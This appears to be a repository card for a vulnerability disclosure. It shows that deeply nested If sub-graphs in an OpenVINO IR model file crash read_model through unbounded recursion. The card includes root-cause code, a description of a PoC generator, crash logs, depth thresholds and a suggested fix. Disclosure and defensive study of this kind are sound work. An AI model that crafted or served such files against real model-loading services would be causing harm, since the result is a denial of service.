You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

OpenVINO IR frontend: unbounded recursion in nested If/Loop/TensorIterator sub-graph deserialization causes a native stack-overflow crash (SIGSEGV)

Status: Verified (independently reproduced via real execution). Prepared for huntr submission.

Target

  • Repo: openvinotoolkit/openvino
  • Package under test: pip openvino==2026.2.1 (build 2026.2.1-21919-ede283a88e3-releases/2026/2), CPU plugin
  • Component: src/core/xml_util/src/xml_deserialize_util.cpp β€” ov::frontend::ir::XmlDeserializer

Dedup note

This is not the same finding as openvino-ir-if-op-architectural-backdoor-poc (an earlier finding by the same author, already public on this account). That finding is a semantic content-level backdoor hidden inside a single, ordinary, non-recursive If node β€” a scanner-evasion / model-integrity issue. This finding is a structural flaw in the deserializer's recursion architecture itself (unbounded call-stack depth), independent of what the nested sub-graph bodies semantically contain. No known CVE was found covering unbounded recursion depth in the OpenVINO IR frontend's control-flow sub-graph parsing at the time of writing.

Root cause

In src/core/xml_util/src/xml_deserialize_util.cpp, ov::frontend::ir::XmlDeserializer::parse_function() is invoked recursively β€” once per nesting level β€” whenever the deserializer encounters a control-flow op's sub-graph attribute (then_body / else_body for If-opset8, body for Loop / TensorIterator), via on_adapter(name, ValueAccessor<shared_ptr<Model>>&):

// src/core/xml_util/src/xml_deserialize_util.cpp
void XmlDeserializer::on_adapter(const std::string& name, ov::ValueAccessor<std::shared_ptr<ov::Model>>& adapter) {
    std::shared_ptr<ov::Model> model;
    io_map = {};

    if (!name.compare("body") || !name.compare("then_body") || !name.compare("else_body")) {
        auto body_node = m_node.child(name.c_str());
        if (body_node.empty()) {
            OPENVINO_THROW("TensorIterator has no body.");
        }
        model = parse_function(m_node.child(name.c_str()), m_weights);   // <-- recursive call, no depth limit
    } else if (!name.compare("net")) {
        model = parse_function(m_node, m_weights);
    } else {
        OPENVINO_THROW("Error: not recognized adapter name: ", name, ".");
    }
    adapter.set(model);
}

There is no recursion-depth limit anywhere in this call chain (parse_function() β†’ (per-node) on_adapter() β†’ parse_function() β†’ ...). A crafted IR with N If ops nested inside each other's else_body causes N levels of genuine C++ call-stack recursion during ov::Core().read_model(), before any shape/semantic validation of the graph happens. Once N is large enough to exceed the calling thread's stack, the process segfaults (native stack overflow) β€” a plain, unauthenticated DoS reachable purely by loading an attacker-supplied model file, no special build (ASan/debug) required to observe it.

PoC

gen_deep_if.py builds a minimal, structurally-valid nested-If IR of parametrized depth N. Each nesting level:

Parameter(f32, [1,4])
  -> boolean Const(cond, 1 byte, offset=0/size=1 into a shared 1-byte .bin)
  -> If(opset8) { then_body: trivial Parameter->Result;
                  else_body: level N+1, or a trivial Parameter->Result at the deepest level }
  -> Result

Only a single 1-byte weights blob is needed β€” every level's boolean Const reads the same offset=0, size=1.

Usage:

python3 gen_deep_if.py <depth> <out_prefix>

Loaded via plain ov.Core().read_model('deepif_N.xml', 'deepif_N.bin') on the real, unmodified pip-installed openvino==2026.2.1 wheel (CPU, no custom build).

Captured evidence (depth = 5000, default 8 MB thread stack)

$ python3 -c "
import faulthandler; faulthandler.enable()
import openvino as ov
print('OpenVINO version:', ov.__version__)
core = ov.Core()
m = core.read_model('deepif_5000.xml', 'deepif_5000.bin')
print('LOADED OK (should not reach here)')
"
OpenVINO version: 2026.2.1-21919-ede283a88e3-releases/2026/2
Fatal Python error: Segmentation fault

Current thread 0x00007fa216107200 (most recent call first):
  File ".../venv/lib/python3.13/site-packages/openvino/_ov_api.py", line 603 in read_model
  File "<string>", line 7 in <module>

Extension modules: numpy._core._multiarray_umath, numpy.linalg._umath_linalg (total: 2)
$ echo $?
139

Reproduced 3/3 across independent fresh Python processes. faulthandler shows the crash occurring natively inside openvino/_ov_api.py's read_model() call with no further Python traceback β€” consistent with a native (C++) stack overflow rather than a Python-level error.

Negative control

$ python3 -c "import openvino as ov; m=ov.Core().read_model('deepif_1000.xml','deepif_1000.bin'); print('LOADED OK, ops:', len(m.get_ordered_ops()))"
LOADED OK, ops: 4   (exit 0)

Stack-size scaling (definitive stack-overflow signature)

ulimit -s scaling rules out a data-dependent memory-corruption bug and confirms unbounded recursion depth as the cause β€” the crash threshold moves proportionally with available stack size:

$ bash -c 'ulimit -s 16384; python3 -c "import openvino as ov; ov.Core().read_model(\"deepif_3000.xml\",\"deepif_3000.bin\"); print(\"LOADED OK\")"'
LOADED OK   (exit 0)   # same file that crashed (139) at default 8192 KB stack

$ bash -c 'ulimit -s 2048; python3 -c "import openvino as ov; ov.Core().read_model(\"deepif_1000.xml\",\"deepif_1000.bin\"); print(\"LOADED OK\")"'
Segmentation fault   (exit 139)   # same file that loaded OK at default 8192 KB stack

Threshold bracketing (default 8 MB stack)

depth result
1000 LOADED OK
2000 LOADED OK
2500 LOADED OK (slow, ~66s β€” hints at additional superlinear-time behavior at depth)
3000 SIGSEGV (139)
5000 SIGSEGV (139)

Stack-size scaling control

ulimit -s depth result
8192 KB (default) 3000 SIGSEGV
16384 KB 3000 LOADED OK
8192 KB (default) 1000 LOADED OK
2048 KB 1000 SIGSEGV

Impact

Any application that loads an untrusted/attacker-supplied .xml/.bin OpenVINO IR model pair (a common pattern for model-serving, model-zoo, or plugin-style deployments) can be crashed (denial of service) with a small, easily generated file β€” no malformed binary data, integer overflow, or type confusion is needed, just ordinary nested If control-flow structure that the IR format already permits. The crash happens during model loading, before inference, so it affects any code path that calls Core::read_model() on untrusted input.

Suggested fix

Add an explicit recursion-depth counter/limit to XmlDeserializer::parse_function() / on_adapter() (e.g., reject IR graphs with sub-graph nesting beyond a sane bound, or convert the recursive descent into an explicit-stack iterative traversal), and validate nesting depth before recursing.

Files in this repository

  • gen_deep_if.py β€” PoC generator (parametrized depth)
  • deepif_5000.xml / deepif_5000.bin β€” primary crash repro (reliable SIGSEGV at default 8 MB stack)
  • deepif_1000.xml / deepif_1000.bin β€” negative control (loads cleanly, LOADED OK, ops: 4)
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support